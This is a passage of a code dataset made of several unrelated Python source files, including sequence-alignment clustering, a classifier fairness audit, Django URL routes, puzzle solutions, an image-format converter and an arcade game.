the variable comparsion in the similarity score calculate, usual value 5, 10, 20\n \n ## Returns:\n \n Integer that represents the similarity value between these two observations\n \n ## Example: \n ```python\n propogate_matrix_local_two_vars(df.loc[i][\"category\"], df.loc[j][\"category\"], df.loc[i][\"1\"], df.loc[j][\"1\"], df.loc[i][\"2\"], df.loc[j][\"2\"], 0.5, 1, sim_func, 2)\n ```\n '''\n X1 = np.insert(X1, 0, 0)\n X2 = np.insert(X2, 0, 0)\n Y1 = np.insert(Y1, 0, 0)\n Y2 = np.insert(Y2, 0, 0)\n \n value_matrix = [[0 for x in range(len(Y) + 1)] for x in range(len(X) + 1)]\n source_matrix = [[[0, 0] for x in range(len(Y) + 1)] for x in range(len(X) + 1)]\n source_gap_score = [[0 for x in range(len(Y) + 1)] for x in range(len(X) + 1)]\n need_constant_gap = [[0 for x in range(len(Y) + 1)] for x in range(len(X) + 1)]\n \n need_constant_gap[0][0] = 1\n \n for j in range(1, len(Y)+1):\n for i in range(1, len(X)+1):\n score = align_score(X[i-1], Y[j-1])\n\n diag_score = update_gap_two_vars(i-1, j-1, source_matrix, X1, Y1, X2, Y2, ratio, source_gap_score, \"diag\")\n diag_value = value_matrix[i-1][j-1] + score + source_gap_score[i-1][j-1] * proportion- diag_score[0] * proportion\n\n left_score = update_gap_two_vars(i, j-1, source_matrix, X1, Y1, X2, Y2, ratio, source_gap_score, \"left\")\n left_value = value_matrix[i][j-1] - gap_score * need_constant_gap[i][j-1] + source_gap_score[i][j-1] * proportion - left_score[0] * proportion\n\n above_score = update_gap_two_vars(i-1, j, source_matrix, X1, Y1, X2, Y2, ratio, source_gap_score, \"above\")\n above_value = value_matrix[i-1][j] - gap_score * need_constant_gap[i-1][j] + source_gap_score[i-1][j] * proportion - above_score[0] * proportion\n\n max_score = max(diag_value, left_value, above_value, 0)\n value_matrix[i][j] = max_score\n if diag_value == max_score or max_score == 0:\n source_matrix[i][j] = [i-1, j-1]\n source_gap_score[i][j] = 0\n need_constant_gap[i][j] = 1\n elif left_value == max_score:\n source_matrix[i][j] = [i,j-1]\n if left_score[1] or above_score[1]:\n source_gap_score[i][j] = 0\n need_constant_gap[i][j] = 1\n else:\n source_gap_score[i][j] = left_score[0]\n need_constant_gap[i][j] = 0\n else:\n source_matrix[i][j] = [i -1,j]\n if left_score[1] or above_score[1]:\n source_gap_score[i][j] = 0\n need_constant_gap[i][j] = 1\n else:\n source_gap_score[i][j] = above_score[0]\n need_constant_gap[i][j] = 0\n # pretty_print(value_matrix)\n return value_matrix[len(X)][len(Y)]\n\n# ratio 0-1, X/Y1 * ratio + X/Y2 * (1-ratio)\ndef update_gap_two_vars(row_index, column_index, source_matrix, X1, Y1, X2, Y2, ratio, source_gap_score, direction):\n '''\n ## Description:\n \n Helper function for `propogate_matrix_global_two_vars` and `propagate_matrix_local_two_vars` to calculate the similarity of two observations with two varaibles. This function use to update the gap penalty between two variables in the sequence.\n \n ## Args:\n \n `row_index`: current row in the score matrix to be filled in\n \n `column_index`: current column in the score matrix to be filled in\n \n `score_matrix`: the score matrix to store the score for every row and every column\n \n `X1`: first observation 1st variable column\n \n `Y1`: second observation 1st variable column\n \n `X2`: first observation 2nd variable column\n \n `Y2`: second observation 2nd varaible column\n \n `ratio`: value between 0 and 1, meaning the weight of the first variable in the similarity calculation. If ratio is 1, meaning we only use first variable. If ratio is 0, meaning we only use second variable. If ratio is in between, meaning the X/Y1 * ratio + X/Y2 * (1-ratio).\n \n `source_gap_score`: Constant value, meaning how much gap penalty give for sequence alignment\n \n `direction`: \"left\", \"above\", \"diag\", meaning which is the way the current score calculated based on: left entry, above entry, or diagonal entry.\n \n ## Returns:\n \n Integer that used as penalty score in the `propogate_matrix_global_two_vars` and `propagate_matrix_local_two_vars` method\n '''\n # This means we are dealing with a value alongside the edge.\n if row_index == 0 or column_index == 0:\n return [abs(sum(X1[0:row_index+1]) - sum(Y1[0:column_index+1])) * ratio + abs(sum(X2[0:row_index+1]) - sum(Y2[0:column_index+1])) * (1-ratio), 0]\n # This means this value came from our diagonal direction.\n elif source_matrix[row_index][column_index][0] < row_index and source_matrix[row_index][column_index][1] < column_index:\n if direction == \"left\":\n return [Y1[column_index] * ratio + Y2[column_index] * (1-ratio), 0]\n elif direction == \"above\":\n return [X1[row_index] * ratio + X2[row_index] * (1-ratio), 0]\n else:\n return [abs(X1[row_index] - Y1[column_index]) * ratio + abs(X2[row_index] - Y2[column_index]) * (1-ratio), 0]\n # In this case, this value came from a downward movement, meaning an extended gap in the y-direction.\n elif source_matrix[row_index][column_index][0] < row_index:\n # This means that our best choice is a 'zigzag' movement. So, we need to have the algorithm\n # reset the gap score, since we are now going to deal with a gap in the other sequence.\n if direction == \"left\":\n return [abs(source_gap_score[row_index][column_index] - Y1[column_index] * ratio - Y2[column_index] * (1-ratio)), 1]\n elif direction == \"above\":\n return [source_gap_score[row_index][column_index] + X1[row_index] * ratio + X2[row_index] * (1-ratio), 0]\n else:\n return [abs(source_gap_score[row_index][column_index] + (X1[row_index] - Y1[column_index]) * ratio + (X2[row_index] - Y2[column_index]) * (1-ratio)), 0]\n # In this case, this value came from a rightward movement, meaning an extended gap in the x-direction.\n elif source_matrix[row_index][column_index][1] < column_index:\n if direction == \"left\":\n return [source_gap_score[row_index][column_index] + Y1[column_index] * ratio + Y2[column_index] * (1-ratio), 0]\n # This means that our best choice is a 'zigzag' movement. So, we need to have the algorithm\n # reset the gap score, since we are now going to deal with a gap in the other sequence.\n elif direction == \"above\":\n return [abs(source_gap_score[row_index][column_index] - X1[row_index] * ratio - X2[row_index] * (1-ratio)), 1]\n else:\n return [abs(source_gap_score[row_index][column_index] + (Y1[column_index ] - X1[row_index])*ratio + (Y2[column_index] - X2[row_index]) * (1-ratio)), 0]\n \n#analysis\ndef distance_metric(df, method= \"global\", treat_dis = True):\n '''\n ## Description:\n \n Calculate the distance between each observation in the dataframe, return a distance matrix, with each entry represent the distance between ith and jth entry calculated by `propogate_matrix_global_two_vars` or `propogate_matrix_local_two_vars`. This is a symmetric matrix.\n \n ## Args:\n \n `df`: the dataframe processed by `make_sample`, `read_data`, or `random_walk`\n \n `method`: default global, if global, we will use `propogate_matrix_global_two_vars` to calculate the similarity score, if local, we will use `propogate_matrix_local_two_vars` to calculate the similarity score\n \n `treat_dis`: default True, if True, we will treat the similarity score as distance using `distance`, if False, we will keep the similarity score as it is\n \n ## Returns:\n \n A distance matrix\n '''\n dist = np.zeros((len(df),len(df)))\n for i in range(len(df)):\n for j in range(i+1, len(df)):\n if method == \"local\":\n dis = propogate_matrix_local_vars(df.loc[i][\"category\"], df.loc[j][\"category\"], df.loc[i][\"1\"], df.loc[j][\"1\"], df.loc[i][\"2\"], df.loc[j][\"2\"], 0.5, 1, sim_func, 2)\n else:\n dis = propogate_matrix_global_two_vars(df.loc[i][\"category\"], df.loc[j][\"category\"], df.loc[i][\"1\"], df.loc[j][\"1\"], df.loc[i][\"2\"], df.loc[j][\"2\"], 0.5, 1, sim_func, 2)\n if treat_dis:\n dis = distance(dis)\n dist[i][j] = dis\n dist[j][i] = dis\n return dist\n\ndef neighbours(dis, target, thres):\n '''\n ## Description:\n \n This funciton use distance matrix to find neighbour of a specific target within a distance threshold.\n \n ## Args:\n \n `dis`: distance matrix returned by `distance_metric`\n \n `target`: the index of the observation to find it neighbours\n \n `thres`: the threshold distance for an observation to be considered as the neighbour\n \n ## Returns:\n \n A list contain all the index of the observations that has a distance less than the threshold\n '''\n count = 0\n lst = []\n for x in dis[target]:\n if x < thres & count != target:\n lst.append(count)\n count += 1\n return lst\n\ndef cluster(dis, distance = None, n_clusters = None):\n '''\n ## Description:\n \n Use sklearn Agglomerative Clustering to cluster based on distance matrix, given distance threshold or number of clusters.\n \n ## Args:\n \n `dis`: distance matrix returned by `distance_metric`\n \n `distance`: default None, distance threshold to be considered as one cluster\n \n `n_clusters`: default None, the number of clusters user wanted\n \n ## Returns:\n \n sklearn.AgglomerativeClustering object can be used in further function\n \n '''\n model = AgglomerativeClustering(metric=\"precomputed\", distance_threshold=distance,n_clusters=n_clusters, linkage=\"average\", compute_distances=True)\n model = model.fit(dis)\n return model\n\ndef plot_dendrogram(model, **kwargs):\n '''\n ## Description:\n \n Use the clustering model to plot dendrogram \n \n ## Args:\n \n `model`: model returned by `cluster`\n \n `kwargs`: according to scipy.cluster.hierarchy.dendrogram kwargs\n \n ## Returns:\n \n dendrogram plot by the model\n \n '''\n # Create linkage matrix and then plot the dendrogram\n\n # create the counts of samples under each node\n counts = np.zeros(model.children_.shape[0])\n n_samples = len(model.labels_)\n for i, merge in enumerate(model.children_):\n current_count = 0\n for child_idx in merge:\n if child_idx < n_samples:\n current_count += 1 # leaf node\n else:\n current_count += counts[child_idx - n_samples]\n counts[i] = current_count\n\n linkage_matrix = np.column_stack(\n [model.children_, model.distances_, counts]\n ).astype(float)\n\n # Plot the corresponding dendrogram\n dendrogram(linkage_matrix, **kwargs)\n\ndef count_clusters(model):\n '''\n ## Description:\n \n Function to count how many elements in each cluster given the model\n \n ## Args:\n \n `model`: model returned by `cluster`\n \n ## Returns:\n \n Two lists contains the number of cluster and elements in each cluster\n \n '''\n labels = np.array(model.labels_)\n unique, counts = np.unique(labels, return_counts=True)\n return unique, counts","repo_name":"caidog1129/PySeqTools","sub_path":"package/src/PySeqTools/PySeqTools.py","file_name":"PySeqTools.py","file_ext":"py","file_size_in_byte":40134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"17866624005","text":"def calcular_importe(numero_suscriptores, precio_suscripcion, mes):\n resultado = numero_suscriptores * precio_suscripcion\n print(\"Se ha hecho en \", mes)\n print(resultado)\n return resultado;\n\ndef recoger_valores():\n nombre = input(\"Introduzca su nombre: \")\n precio = float(input(\"Introduzca el precio de la subscripcion: \"))\n num_suscriptores_mes_uno = int(input(\"Introduzca numero subs mensual 1: \"))\n num_suscriptores_mes_dos = int(input(\"Introduzca numero subs mensual 2: \"))\n resultado1 = calcular_importe(num_suscriptores_mes_uno, precio, \"enero\")\n resultado2 = calcular_importe(num_suscriptores_mes_dos, precio, \"febrero\")\n if(resultado2 > resultado1):\n print(\"Sigue asi que vas bien\")\n if resultado1 > resultado2:\n print(\"Creo que no va a poder ser posible\")\n if resultado2 == resultado1:\n print(\"Esta igual\")\n\nrecoger_valores()","repo_name":"juliswer/Cursos","sub_path":"python/ruamlex/condicionales.py","file_name":"condicionales.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"18174731226","text":"from sklearn.neural_network import *\nfrom Reg_Oracle_Fict import *\nfrom Marginal_Reduction import *\nfrom sklearn import svm\nfrom sklearn import neighbors\n\n\n\n# USAGE: python Audit.py all 50\n\n# Helper Functions\n\n\ndef get_fp(preds, y):\n \"\"\"Return the fp rate of preds wrt to true labels y.\"\"\"\n # print('my FP ', np.mean(preds[y == 0]))\n\n # return np.mean(preds[y == 0])\n return np.mean([p for i,p in enumerate(preds) if y[i] == 0])\n\n\ndef audit(predictions, X, X_prime, y):\n \"\"\"Takes in predictions on dataset (X, X',y) and prints gamma-unfairness,\n fp disparity, group size, group coefficients, and sensitive column names.\n \"\"\"\n FP = get_fp(predictions, y)\n aud_group, gamma_unfair, fp_in_group, err_group, pos_neg = get_group(predictions, X_sens=X_prime, X=X, y_g=y, FP=FP)\n group_size = gamma_unfair/fp_in_group\n group_coefs = aud_group.b0.coef_ - aud_group.b1.coef_\n # get indices of maximum k coefficients\n k = np.min([len(group_coefs), 3])\n top_indices = np.abs(group_coefs).argsort()[-k:][::-1]\n # print('accuracy: {}'.format(1-np.mean(np.abs(np.subtract(predictions, y)))))\n # print('group size: {}, gamma-unfairness: {}, FP-disparity: {}'.format(group_size, gamma_unfair, fp_in_group))\n # print('subgroup_coefficients: {}'.format(group_coefs),)\n # print('sensitive attributes: {}'.format([c for c in X_prime.columns],))\n # print('sensitive attributes with the largest group coefficients: {}'.format(X_prime.columns[top_indices]))\n # print('coefficients of top sensitive attributes: {}'.format(group_coefs[top_indices]))\n return gamma_unfair\n\n\n\n\n\ndef get_group(A, X, X_sens, y_g, FP):\n \"\"\"Given decisions on X, sensitive attributes, labels, and FP rate audit wrt\n to gamma unfairness. Return the group found, the gamma unfairness, fp disparity, and sign(fp disparity).\n \"\"\"\n\n A_0 = [a for u, a in enumerate(A) if y_g[u] == 0]\n X_0 = pd.DataFrame([X_sens.iloc[u, :]\n for u, s in enumerate(y_g) if s == 0])\n m = len(A_0)\n n = float(len(y_g))\n cost_0 = [0.0] * m\n cost_1 = -1.0 / n * (FP - A_0)\n reg0 = linear_model.LinearRegression()\n reg0.fit(X_0, cost_0)\n reg1 = linear_model.LinearRegression()\n reg1.fit(X_0, cost_1)\n func = Reg_Oracle_Class.RegOracle(reg0, reg1)\n group_members_0 = func.predict(X_0)\n err_group = np.mean([np.abs(group_members_0[i] - A_0[i])\n for i in range(len(A_0))])\n # get the false positive rate in group\n if sum(group_members_0) == 0:\n fp_group_rate = 0\n else:\n fp_group_rate = np.mean([r for t, r in enumerate(A_0) if group_members_0[t] == 1])\n g_size_0 = np.sum(group_members_0) * 1.0 / n\n fp_disp = np.abs(fp_group_rate - FP)\n fp_disp_w = fp_disp * g_size_0\n\n # negation\n cost_0_neg = [0.0] * m\n cost_1_neg = -1.0 / n * (A_0-FP)\n reg0_neg = linear_model.LinearRegression()\n reg0_neg.fit(X_0, cost_0_neg)\n reg1_neg = linear_model.LinearRegression()\n reg1_neg.fit(X_0, cost_1_neg)\n func_neg = Reg_Oracle_Class.RegOracle(reg0_neg, reg1_neg)\n group_members_0_neg = func_neg.predict(X_0)\n err_group_neg = np.mean(\n [np.abs(group_members_0_neg[i] - A_0[i]) for i in range(len(A_0))])\n if sum(group_members_0_neg) == 0:\n fp_group_rate_neg = 0\n else:\n fp_group_rate_neg = np.mean([r for t, r in enumerate(A_0) if group_members_0[t] == 0])\n g_size_0_neg = np.sum(group_members_0_neg) * 1.0 / n\n fp_disp_neg = np.abs(fp_group_rate_neg - FP)\n fp_disp_w_neg = fp_disp_neg*g_size_0_neg\n\n # return group\n if fp_disp_w_neg > fp_disp_w:\n return [func_neg, fp_disp_w_neg, fp_disp_neg, err_group_neg, -1]\n else:\n return [func, fp_disp_w, fp_disp, err_group, 1]\n\nif __name__ == \"__main__\":\n random.seed(1)\n ds = ['communities', 'lawschool', 'adult', 'student']\n dataset, max_iters = sys.argv[1:]\n dataset = str(dataset)\n max_iters = int(max_iters)\n\n if dataset == 'all':\n for dataset in ds:\n # Data Cleaning and Import\n f_name = 'clean_{}'.format(dataset)\n clean_the_dataset = getattr(clean_data, f_name)\n X, X_prime, y = clean_the_dataset()\n\n # print out the invoked parameters\n num_sens = X_prime.shape[1]\n print('Invoked Parameters: number of sensitive attributes = {}, dataset = {}'.format(num_sens, dataset))\n\n # logistic regression\n model = linear_model.LogisticRegression()\n model.fit(X, y)\n yhat = list(model.predict(X))\n print('logistic regression audit:')\n audit(predictions=yhat, X=X, X_prime=X_prime, y=y)\n\n # shallow neural network\n # model = MLPClassifier(solver='lbfgs', alpha=1e-5, hidden_layer_sizes=(3, 2), random_state=1)\n # model.fit(X,y)\n # yhat = list(model.predict(X))\n # print('multilayer perceptron (3, 2) audit:')\n # audit(predictions=yhat, X=X, X_prime=X_prime, y=y)\n\n # support vector machine\n model = svm.SVC()\n model.fit(X, y)\n yhat = list(model.predict(X))\n print('SVM audit:')\n audit(predictions=yhat, X=X, X_prime=X_prime, y=y)\n\n # nearest neighbor\n model = neighbors.KNeighborsClassifier(3)\n model.fit(X, y)\n yhat = list(model.predict(X))\n print('nearest neighbors audit:')\n audit(predictions=yhat, X=X, X_prime=X_prime, y=y)\n\n # Marginal reduction with Reg Oracle\n X, X_prime_cts, y = clean_the_dataset()\n n = X.shape[0]\n # threshold sensitive features by average value\n sens_means = np.mean(X_prime)\n for col in X_prime.columns:\n X.loc[(X[col] > sens_means[col]), col] = 1\n X_prime.loc[(X_prime[col] > sens_means[col]), col] = 1\n X.loc[(X[col] <= sens_means[col]), col] = 0\n X_prime.loc[(X_prime[col] <= sens_means[col]), col] = 0\n yhat = MSR_preds(X, X_prime, X_prime_cts, y, max_iters, False)\n audit(yhat, X, X_prime, y)\n else:\n # Data Cleaning and Import\n f_name = 'clean_{}'.format(dataset)\n clean_the_dataset = getattr(clean_data, f_name)\n X, X_prime, y = clean_the_dataset()\n\n # print out the invoked parameters\n num_sens = X_prime.shape[1]\n print('Invoked Parameters: number of sensitive attributes = {}, dataset = {}'.format(num_sens, dataset))\n\n # logistic regression\n model = linear_model.LogisticRegression()\n model.fit(X, y)\n yhat = list(model.predict(X))\n print('logistic regression audit:')\n audit(predictions=yhat, X=X, X_prime=X_prime, y=y)\n\n # shallow neural network\n # model = MLPClassifier(solver='lbfgs', alpha=1e-5, hidden_layer_sizes=(3, 2), random_state=1)\n # model.fit(X,y)\n # yhat = list(model.predict(X))\n # print('multilayer perceptron (3, 2) audit:')\n # audit(predictions=yhat, X=X, X_prime=X_prime, y=y)\n\n # support vector machine\n model = svm.SVC()\n model.fit(X, y)\n yhat = list(model.predict(X))\n print('SVM audit:')\n audit(predictions=yhat, X=X, X_prime=X_prime, y=y)\n\n # nearest neighbor\n model = neighbors.KNeighborsClassifier(3)\n model.fit(X, y)\n yhat = list(model.predict(X))\n print('nearest neighbors audit:')\n audit(predictions=yhat, X=X, X_prime=X_prime, y=y)\n\n # Marginal reduction with Reg Oracle\n X, X_prime_cts, y = clean_the_dataset()\n X_prime = X_prime_cts.iloc[:,:]\n n = X.shape[0]\n # threshold sensitive features by average value\n sens_means = np.mean(X_prime)\n for col in X_prime.columns:\n X.loc[(X[col] > sens_means[col]), col] = 1\n X_prime.loc[(X_prime[col] > sens_means[col]), col] = 1\n X.loc[(X[col] <= sens_means[col]), col] = 0\n X_prime.loc[(X_prime[col] <= sens_means[col]), col] = 0\n yhat = marginal_preds(X, X_prime, X_prime_cts, y, max_iters, True)\n\n","repo_name":"SaeedSharifiMa/FairDP","sub_path":"Audit.py","file_name":"Audit.py","file_ext":"py","file_size_in_byte":8173,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"16332796824","text":"from django.conf.urls import url\nfrom ...apps.pagina import views\n\nimport views\n\nurlpatterns = [\n\n url(r'^contacto/', views.contact),\n url(r'^preguntas/', views.frecuente),\n url(r'^quienes_somos/', views.somos),\n url(r'^mision_vision/', views.mision),\n url(r'^cronograma/', views.calendario),\n #url(r'^eventos/', views.eventos),\n\n url(r'^', views.inicio), \n\n] \n","repo_name":"alecarpio94/APPGECA","sub_path":"prueba/apps/pagina/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"25404305289","text":"from django.conf.urls import url, patterns\nfrom giftme import views\n\nurlpatterns = patterns('',\n url(r'^login/$', views.login),\n url(r'^wakeup/$', views.wakeup),\n url(r'^get_csrf_token/$', views.get_csrf_token),\n url(r'^add_gift/$', views.add_gift),\n url(r'^get_gifts/(?P[0-9]+)/$', views.get_gifts),\n url(r'^get_gift/(?P[0-9]+)/$', views.get_gift),\n url(r'^get_friends_gifts/(?P[0-9]+)/$', views.get_friends_gifts),\n url(r'^delete_gift/(?P[0-9]+)/$', views.delete_gift),\n url(r'^pay/(?P[0-9]+)/$', views.pay),\n url(r'^pay_new/(?P[0-9]+)/$', views.pay_new),\n url(r'^get_contributions/(?P[0-9]+)/$', views.get_contributions),\n url(r'^user_settings/(?P[0-9]+)/$', views.user_settings),\n url(r'^get_notifications/(?P[0-9]+)/$', views.get_notifications),\n url(r'^web/$', views.web),\n url(r'^web_gifts/(?P[0-9]+)/0/$', views.web_gift_list),\n url(r'^web_gifts/(?P[0-9]+)/(?P[0-9]+)/$', views.web_gift),\n url(r'^web_pay/(?P[0-9]+)/$', views.web_pay),\n url(r'^web_pay_process/(?P[0-9]+)/$', views.web_pay_process),\n url(r'^privacy_policy/$', views.privacy_policy),\n url(r'^notification_of_facebook_share/$', views.notification_of_facebook_share),\n)\n","repo_name":"timcallagy/giftme_server","sub_path":"giftme/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"5314551387","text":"class Point:\n\tdef __init__(self, x, y):\n\t\tself.x = x\n\t\tself.y = y\n\n\tdef __str__(self):\n\t\treturn f\"(x: {self.x}, y: {self.y})\"\n\nclass RopeGrid:\n\tdef __init__(self, num_knots):\n\t\tself.tail_history = set([(0, 0)])\n\t\tself.knots = [Point(0, 0) for n in range(num_knots)]\n\t\tself.head = self.knots[0]\n\t\tself.tail = self.knots[-1]\n\n\tdef move_head(self, direction):\n\t\t#print([str(knot) for knot in self.knots])\n\t\tif direction == \"R\":\n\t\t\tself.head.x += 1\n\t\tif direction == \"U\":\n\t\t\tself.head.y += 1\n\t\tif direction == \"L\":\n\t\t\tself.head.x -= 1\n\t\tif direction == \"D\":\n\t\t\tself.head.y -= 1\n\t\tself._update_trailing_knots()\n\n\tdef _update_trailing_knots(self):\n\t\ti = 1\n\t\tfor knot in self.knots[1:]:\n\t\t\tself._update_knot(\n\t\t\t\tleading=self.knots[i-1], \n\t\t\t\ttrailing=knot)\n\t\t\ti += 1\n\t\tself.tail_history |= {(self.tail.x, self.tail.y)}\n\n\tdef _one_closer_to_zero(self, n):\n\t\tif n < 0:\n\t\t\treturn n + 1\n\t\telif n > 0:\n\t\t\treturn n - 1\n\t\telse:\n\t\t\treturn 0\n\n\tdef _update_knot(self, leading, trailing):\n\t\tx_diff = leading.x - trailing.x\n\t\ty_diff = leading.y - trailing.y \n\n\t\tif abs(x_diff) == 2 or abs(y_diff) == 2:\n\t\t\ttrailing.x += self._one_closer_to_zero(x_diff)\n\t\t\ttrailing.y += self._one_closer_to_zero(y_diff)\n\n\t\t\tif abs(x_diff) == 1:\n\t\t\t\ttrailing.x += x_diff\n\t\t\tif abs(y_diff) == 1:\n\t\t\t\ttrailing.y += y_diff\n\n\nf = open(\"puzzle_input\", \"r\")\nraw_motions = f.read()\nf.close()\n\ngrid = RopeGrid(10)\nmotions = []\n\nfor motion in raw_motions.strip().split(\"\\n\"):\n\td, s = motion.split(\" \")\n\tmotions.append((d, int(s)))\n\nfor motion in motions:\n\tdirection, steps = motion\n\tfor _ in range(steps):\n\t\tgrid.move_head(direction)\n\nprint(len(grid.tail_history))","repo_name":"braedon2/AdventOfCode2022","sub_path":"day9/day9.py","file_name":"day9.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"40726321949","text":"import datetime\n\npossible_dates = {'1st': 0, '2nd': 1, '3rd': 2, '4th': 3, '5th': 4, 'last': -1} \n\ndef meetup_day(year, month, day, which):\n\tdates_on_day = { 'Monday': [], 'Tuesday': [], 'Wednesday': [], 'Thursday': [], \n\t\t\t'Friday': [], 'Saturday': [], 'Sunday': []}\n\t\n\t# Get the day of the week for each date, starting with 1st.\n\n\tdate = datetime.date(year, month, 1)\n\twhile date.month == month:\n\t\tday_of_week = date.strftime('%A')\n\t\tdates_on_day[day_of_week].append(date.day)\n\t\tdate = date + datetime.timedelta(days = 1)\t\n\t\n\tif which in possible_dates:\n\t\tindex = possible_dates[which]\n\t\tday_date = dates_on_day[day][index]\n\n\tif which == 'teenth':\n\t\tday_date = [d for d in dates_on_day[day] if 12 < d < 20][0]\n\n\treturn datetime.date(year, month, day_date)\n","repo_name":"itsolutionscorp/AutoStyle-Clustering","sub_path":"all_data/exercism_data/python/meetup/e5c9bcbc82c246d895c255abef425068.py","file_name":"e5c9bcbc82c246d895c255abef425068.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"} +{"seq_id":"7514444147","text":"from PIL import Image\nimport os\n\ndef png2jpg ( path ):\n #change path to the image folder\n for img in os.listdir(path):\n if img.endswith(\".png\"):\n im = Image.open(path + \"{}\".format(img))\n rgb_im = im.convert(\"RGB\")\n img_name = img.split(\".\")[0]\n rgb_im.save(path + \"{}.jpg\".format(img_name))\n\n for img in os.listdir(path):\n if img.endswith(\".png\"):\n os.remove(path+\"{}\".format(img))\n\nif __name__ == \"__main__\":\n path = \"/home/amc/yolo/yolo_all/\"\n png2jpg(path)","repo_name":"vm6u6/Thriod_and_tissue_detection-YOLOv4-","sub_path":"Data/util/png_to_jpg.py","file_name":"png_to_jpg.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"33889657488","text":"import torch\n\nfrom .cov import cov\nfrom .mc_cov import mc_cov\n\ndef multi_ess(x, mc_cov_mat=None, method='inse', adjust=False):\n num_iters, num_pars = x.shape\n\n cov_mat_det = torch.det(cov(x, rowvar=False)).item()\n mc_cov_mat_det = torch.det(\n mc_cov(x, method=method, adjust=adjust, rowvar=False) if mc_cov_mat is None else mc_cov_mat\n ).item()\n\n return num_iters * ((cov_mat_det / mc_cov_mat_det) ** (1/num_pars))\n","repo_name":"papamarkou/eeyore","sub_path":"eeyore/stats/multi_ess.py","file_name":"multi_ess.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"68"} +{"seq_id":"33553321275","text":"# coding: utf-8\n\nimport pandas as pd\nimport sklearn.metrics as skm\nimport argparse, os\n\n\ndef get_V_measure(df):\n\tlabels_true = df.actual_sublex\n\tlabels_pred = df.predicted_sublex\n\n\treturn skm.v_measure_score(labels_true, labels_pred)\n\n\ndef get_correct_sublex(data_path):\n\tdf_data = pd.read_csv(data_path, sep='\\t', encoding='utf-8')\n\tkanji2ix=dict([(u'和', 0), (u'漢', 1), (u'外', 2), (u'混', 3), (u'固', 4), (u'記号', 5)])\n\tdf_data['actual_sublex']=df_data.wType.map(kanji2ix)\n\treturn df_data\n\n\n\n\n\t\n\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('result_path', type=str, help='Path to the classification results.')\n\tparser.add_argument('data_path', type=str, help='Path to the data, containing the grand truth classification info.')\n\tparser.add_argument('-w', '--whole_data', action='store_true', help='Use the whole data rather than Native, SJ, Foreign alone.')\n\targs = parser.parse_args()\n\n\n\tdf_pred = pd.read_csv(args.result_path)\n\t\n\n\tdf = get_correct_sublex(args.data_path)\n\tremove_circumfix = lambda s: int(s.split('_')[1])\n\tdf['predicted_sublex'] = df_pred.most_probable_sublexicon.map(remove_circumfix)\n\n\tif args.whole_data:\n\t\tfilename = 'v-measure_whole-data.txt'\n\telse:\n\t\tfilename = 'v-measure_Native-SJ-Foreign.txt'\n\t\tdf = df[df.actual_sublex.isin(range(3))]\n\t\n\tv_measure = get_V_measure(df)\n\n\tresult_dir = os.path.split(args.result_path)[0]\n\twith open(os.path.join(result_dir,filename), 'w') as f:\n\t\tf.write('V-measure: %s' % str(v_measure))","repo_name":"tkc-morita/variational_inference_DP_mix_HDP_topic_ngram","sub_path":"code/analysis/Japanese/get_V-measure.py","file_name":"get_V-measure.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"7819912474","text":"# cook your dish here\n''' Print the operator which gives the greatest number as a result '''\na=0\nb=-1\nresult = []\n\nresult.append(a/b)\nresult.append(a-b)\nresult.append(a*b)\nresult.append(a+b)\n\n\ncache=0\ni=0\nfor i in range(len(result)):\n for j in range(1,len(result)):\n if result[i] > result[j]:\n cache = i\n\nif result[0]>result[1] and result[0]>result[2]:\n return \"/\"\nif result[1]>result[0] and result[1]>result[2]:\n return \"-\"\nif result[2]>result[0] and result[2]>result[3]:\n return \"*\"\nif result[3]>result[0] and result[3]>result[2]:\n return \"+\"\n\n\n","repo_name":"AnuragVishu/programming-challanges","sub_path":"interviewBit2.py","file_name":"interviewBit2.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"11922498733","text":"import arcade, os, math\nfrom arcade import Sprite\n\n\n\nclass Player(arcade.Sprite):\n \n\n def __init__(self, file=None, scale=1.0, x=0, y=0):\n super().__init__(filename=file, scale=scale)\n\n self.center_x = x\n self.center_y = y\n\n self.accx = 0\n self.accy = 0\n\n self.velx = 0\n self.vely = 0\n\n self.dangle = 0\n \n self.dspeed = 0\n self.speed = 0\n \n def update(self):\n self.angle += self.dangle\n\n ddx = -math.sin(math.radians(self.angle))\n ddy = math.cos(math.radians(self.angle))\n\n self.velx = arcade.lerp(self.velx, ddx, 0.05)\n self.vely = arcade.lerp(self.vely, ddy, 0.05)\n\n self.speed = arcade.lerp(self.speed, self.dspeed, 0.05)\n \n self.change_x = self.velx * self.speed\n self.change_y = self.vely * self.speed\n\n\n super().update()\n\n\n\nclass SpriteGame(arcade.Window):\n\n player : object\n \n def __init__(self, width=800, height=660, title=\"SpriteGame\"):\n super().__init__(width,height,title)\n self.WINDOW_H = height\n self.WINDOW_W = width\n\n\n def setup(self):\n path = os.path.abspath(__file__)\n directory = os.path.dirname(path)\n spritefile = directory + '/static/ship_blue.png'\n self.player = Player(file=spritefile, scale=0.6, x=self.WINDOW_W/2, y=self.WINDOW_H/2)\n self.player2 = Player(file=spritefile, scale=0.6, x=self.WINDOW_W/3, y=self.WINDOW_H/3)\n\n def run(self):\n arcade.run()\n\n 